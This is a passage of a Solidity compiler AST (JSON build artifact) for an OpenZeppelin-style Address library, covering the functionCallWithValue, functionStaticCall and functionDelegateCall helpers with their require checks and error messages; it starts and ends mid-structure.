pe":"ParameterList","parameters":[{"constant":false,"id":48063,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48073,"src":"4575:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48062,"name":"bytes","nodeType":"ElementaryTypeName","src":"4575:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4574:14:33"},"scope":48259,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48123,"nodeType":"FunctionDefinition","src":"4948:499:33","nodes":[],"body":{"id":48122,"nodeType":"Block","src":"5127:320:33","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":48094,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":48090,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"5153:4:33","typeDescriptions":{"typeIdentifier":"t_contract$_Address_$48259","typeString":"library Address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Address_$48259","typeString":"library Address"}],"id":48089,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5145:7:33","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48088,"name":"address","nodeType":"ElementaryTypeName","src":"5145:7:33","typeDescriptions":{}}},"id":48091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5145:13:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48092,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5159:7:33","memberName":"balance","nodeType":"MemberAccess","src":"5145:21:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":48093,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48080,"src":"5170:5:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5145:30:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c","id":48095,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5177:40:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c","typeString":"literal_string \"Address: insufficient balance for call\""},"value":"Address: insufficient balance for call"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c","typeString":"literal_string \"Address: insufficient balance for call\""}],"id":48087,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5137:7:33","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48096,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5137:81:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48097,"nodeType":"ExpressionStatement","src":"5137:81:33"},{"expression":{"arguments":[{"arguments":[{"id":48100,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48076,"src":"5247:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":48099,"name":"isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47982,"src":"5236:10:33","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":48101,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5236:18:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374","id":48102,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5256:31:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad","typeString":"literal_string \"Address: call to non-contract\""},"value":"Address: call to non-contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad","typeString":"literal_string \"Address: call to non-contract\""}],"id":48098,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5228:7:33","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5228:60:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48104,"nodeType":"ExpressionStatement","src":"5228:60:33"},{"assignments":[48106,48108],"declarations":[{"constant":false,"id":48106,"mutability":"mutable","name":"success","nameLocation":"5305:7:33","nodeType":"VariableDeclaration","scope":48122,"src":"5300:12:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48105,"name":"bool","nodeType":"ElementaryTypeName","src":"5300:4:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48108,"mutability":"mutable","name":"returndata","nameLocation":"5327:10:33","nodeType":"VariableDeclaration","scope":48122,"src":"5314:23:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48107,"name":"bytes","nodeType":"ElementaryTypeName","src":"5314:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":48115,"initialValue":{"arguments":[{"id":48113,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48078,"src":"5367:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":48109,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48076,"src":"5341:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48110,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5348:4:33","memberName":"call","nodeType":"MemberAccess","src":"5341:11:33","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48112,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":48111,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48080,"src":"5360:5:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"5341:25:33","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5341:31:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"5299:73:33"},{"expression":{"arguments":[{"id":48117,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48106,"src":"5406:7:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":48118,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48108,"src":"5415:10:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48119,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48082,"src":"5427:12:33","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48116,"name":"verifyCallResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48258,"src":"5389:16:33","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bool,bytes memory,string memory) pure returns (bytes memory)"}},"id":48120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5389:51:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48086,"id":48121,"nodeType":"Return","src":"5382:58:33"}]},"documentation":{"id":48074,"nodeType":"StructuredDocumentation","src":"4706:237:33","text":" @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n with `errorMessage` as a fallback revert reason when `target` reverts.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCallWithValue","nameLocation":"4957:21:33","parameters":{"id":48083,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48076,"mutability":"mutable","name":"target","nameLocation":"4996:6:33","nodeType":"VariableDeclaration","scope":48123,"src":"4988:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48075,"name":"address","nodeType":"ElementaryTypeName","src":"4988:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48078,"mutability":"mutable","name":"data","nameLocation":"5025:4:33","nodeType":"VariableDeclaration","scope":48123,"src":"5012:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48077,"name":"bytes","nodeType":"ElementaryTypeName","src":"5012:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48080,"mutability":"mutable","name":"value","nameLocation":"5047:5:33","nodeType":"VariableDeclaration","scope":48123,"src":"5039:13:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":48079,"name":"uint256","nodeType":"ElementaryTypeName","src":"5039:7:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":48082,"mutability":"mutable","name":"errorMessage","nameLocation":"5076:12:33","nodeType":"VariableDeclaration","scope":48123,"src":"5062:26:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48081,"name":"string","nodeType":"ElementaryTypeName","src":"5062:6:33","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4978:116:33"},"returnParameters":{"id":48086,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48085,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48123,"src":"5113:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48084,"name":"bytes","nodeType":"ElementaryTypeName","src":"5113:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5112:14:33"},"scope":48259,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48140,"nodeType":"FunctionDefinition","src":"5624:197:33","nodes":[],"body":{"id":48139,"nodeType":"Block","src":"5724:97:33","nodes":[],"statements":[{"expression":{"arguments":[{"id":48134,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48126,"src":"5760:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48135,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48128,"src":"5768:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"416464726573733a206c6f772d6c6576656c207374617469632063616c6c206661696c6564","id":48136,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5774:39:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0","typeString":"literal_string \"Address: low-level static call failed\""},"value":"Address: low-level static call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0","typeString":"literal_string \"Address: low-level static call failed\""}],"id":48133,"name":"functionStaticCall","nodeType":"Identifier","overloadedDeclarations":[48140,48175],"referencedDeclaration":48175,"src":"5741:18:33","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) view returns (bytes memory)"}},"id":48137,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5741:73:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48132,"id":48138,"nodeType":"Return","src":"5734:80:33"}]},"documentation":{"id":48124,"nodeType":"StructuredDocumentation","src":"5453:166:33","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but performing a static call.\n _Available since v3.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionStaticCall","nameLocation":"5633:18:33","parameters":{"id":48129,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48126,"mutability":"mutable","name":"target","nameLocation":"5660:6:33","nodeType":"VariableDeclaration","scope":48140,"src":"5652:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48125,"name":"address","nodeType":"ElementaryTypeName","src":"5652:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48128,"mutability":"mutable","name":"data","nameLocation":"5681:4:33","nodeType":"VariableDeclaration","scope":48140,"src":"5668:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48127,"name":"bytes","nodeType":"ElementaryTypeName","src":"5668:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5651:35:33"},"returnParameters":{"id":48132,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48131,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48140,"src":"5710:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48130,"name":"bytes","nodeType":"ElementaryTypeName","src":"5710:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5709:14:33"},"scope":48259,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48175,"nodeType":"FunctionDefinition","src":"6005:386:33","nodes":[],"body":{"id":48174,"nodeType":"Block","src":"6163:228:33","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":48154,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48143,"src":"6192:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":48153,"name":"isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47982,"src":"6181:10:33","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":48155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6181:18:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a207374617469632063616c6c20746f206e6f6e2d636f6e7472616374","id":48156,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6201:38:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_c79cc78e4f16ce3933a42b84c73868f93bb4a59c031a0acf576679de98c608a9","typeString":"literal_string \"Address: static call to non-contract\""},"value":"Address: static call to non-contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c79cc78e4f16ce3933a42b84c73868f93bb4a59c031a0acf576679de98c608a9","typeString":"literal_string \"Address: static call to non-contract\""}],"id":48152,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6173:7:33","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48157,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6173:67:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48158,"nodeType":"ExpressionStatement","src":"6173:67:33"},{"assignments":[48160,48162],"declarations":[{"constant":false,"id":48160,"mutability":"mutable","name":"success","nameLocation":"6257:7:33","nodeType":"VariableDeclaration","scope":48174,"src":"6252:12:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48159,"name":"bool","nodeType":"ElementaryTypeName","src":"6252:4:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48162,"mutability":"mutable","name":"returndata","nameLocation":"6279:10:33","nodeType":"VariableDeclaration","scope":48174,"src":"6266:23:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48161,"name":"bytes","nodeType":"ElementaryTypeName","src":"6266:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":48167,"initialValue":{"arguments":[{"id":48165,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48145,"src":"6311:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":48163,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48143,"src":"6293:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48164,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6300:10:33","memberName":"staticcall","nodeType":"MemberAccess","src":"6293:17:33","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":48166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6293:23:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"6251:65:33"},{"expression":{"arguments":[{"id":48169,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48160,"src":"6350:7:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":48170,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48162,"src":"6359:10:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48171,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48147,"src":"6371:12:33","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48168,"name":"verifyCallResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48258,"src":"6333:16:33","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bool,bytes memory,string memory) pure returns (bytes memory)"}},"id":48172,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6333:51:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48151,"id":48173,"nodeType":"Return","src":"6326:58:33"}]},"documentation":{"id":48141,"nodeType":"StructuredDocumentation","src":"5827:173:33","text":" @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n but performing a static call.\n _Available since v3.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionStaticCall","nameLocation":"6014:18:33","parameters":{"id":48148,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48143,"mutability":"mutable","name":"target","nameLocation":"6050:6:33","nodeType":"VariableDeclaration","scope":48175,"src":"6042:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48142,"name":"address","nodeType":"ElementaryTypeName","src":"6042:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48145,"mutability":"mutable","name":"data","nameLocation":"6079:4:33","nodeType":"VariableDeclaration","scope":48175,"src":"6066:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48144,"name":"bytes","nodeType":"ElementaryTypeName","src":"6066:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48147,"mutability":"mutable","name":"errorMessage","nameLocation":"6107:12:33","nodeType":"VariableDeclaration","scope":48175,"src":"6093:26:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48146,"name":"string","nodeType":"ElementaryTypeName","src":"6093:6:33","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6032:93:33"},"returnParameters":{"id":48151,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48150,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48175,"src":"6149:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48149,"name":"bytes","nodeType":"ElementaryTypeName","src":"6149:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6148:14:33"},"scope":48259,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48192,"nodeType":"FunctionDefinition","src":"6570:198:33","nodes":[],"body":{"id":48191,"nodeType":"Block","src":"6667:101:33","nodes":[],"statements":[{"expression":{"arguments":[{"id":48186,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48178,"src":"6705:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48187,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48180,"src":"6713:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564","id":48188,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6719:41:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398","typeString":"literal_string \"Address: low-level delegate call failed\""},"value":"Address: low-level delegate call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398","typeString":"literal_string \"Address: low-level delegate call failed\""}],"id":48185,"name":"functionDelegateCall","nodeType":"Identifier","overloadedDeclarations":[48192,48227],"referencedDeclaration":48227,"src":"6684:20:33","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) returns (bytes memory)"}},"id":48189,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6684:77:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48184,"id":48190,"nodeType":"Return","src":"6677:84:33"}]},"documentation":{"id":48176,"nodeType":"StructuredDocumentation","src":"6397:168:33","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but performing a delegate call.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionDelegateCall","nameLocation":"6579:20:33","parameters":{"id":48181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48178,"mutability":"mutable","name":"target","nameLocation":"6608:6:33","nodeType":"VariableDeclaration","scope":48192,"src":"6600:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48177,"name":"address","nodeType":"ElementaryTypeName","src":"6600:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48180,"mutability":"mutable","name":"data","nameLocation":"6629:4:33","nodeType":"VariableDeclaration","scope":48192,"src":"6616:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48179,"name":"bytes","nodeType":"ElementaryTypeName","src":"6616:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6599:35:33"},"returnParameters":{"id":48184,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48183,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48192,"src":"6653:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48182,"name":"bytes","nodeType":"ElementaryTypeName","src":"6653:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6652:14:33"},"scope":48259,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48227,"nodeType":"FunctionDefinition","src":"6954:387:33","nodes":[],"body":{"id":48226,"nodeType":"Block","src":"7109:232:33","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":48206,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48195,"src":"7138:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":